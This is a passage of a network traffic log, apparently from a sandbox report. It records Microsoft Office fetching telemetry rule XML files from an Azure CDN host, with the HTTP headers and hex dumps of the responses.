2024-11-14 16:24:38 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:38 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:38 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:38 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: e4549384-201e-005d-130b-36afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162438Z-r178fb8d765w8fzdhC1DFW8ep400000002n000000000r7uk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:38 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:39 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:39 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:39 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 77cd0995-b01e-0097-670b-364f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162439Z-16547b76f7fr28cchC1DFWnuws0000000kw000000000x2uu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:39 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:39 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:39 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:39 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 145694f3-701e-000d-397a-366de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162439Z-r178fb8d7657w5c5hC1DFW5ngg00000002tg00000000nvns x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:39 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:39 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:39 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:39 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: cfe108d0-801e-0035-77a0-34752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162439Z-1749fc9bdbdjgplnhC1DFWhrks00000002h000000000qeen x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 16:24:39 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:39 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:39 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:39 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 3018e20c-101e-008d-17d2-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162439Z-16547b76f7f775p5hC1DFWzdvn0000000kvg00000000g1f0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:39 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:39 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:39 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:39 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 6266d644-901e-0083-0e09-2cbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162439Z-16547b76f7fljddfhC1DFWeqbs00000000z0000000002640 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:39 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:40 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:40 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:40 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 835fac84-801e-002a-0b40-3631dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162440Z-1749fc9bdbdcm45lhC1DFWeab800000002mg00000000fa5b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:40 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:40 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:40 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:40 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: f826ff35-b01e-00ab-80a6-34dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162440Z-1749fc9bdbdjznvchC1DFWx4dc00000002kg00000000m8sd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:40 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:40 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:40 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:40 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 318e9082-a01e-0070-08a8-34573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162440Z-1749fc9bdbdqhv2phC1DFWvd3000000002mg00000000r9th x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:40 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:40 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:40 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:40 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 31f85cd6-001e-0049-0b4a-325bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162440Z-16547b76f7f67wxlhC1DFWah9w0000000ks000000000w3x7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:40 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:40 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:40 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:40 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: dbae507e-301e-000c-7008-36323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162440Z-1749fc9bdbdqhv2phC1DFWvd3000000002sg000000007db2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:40 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
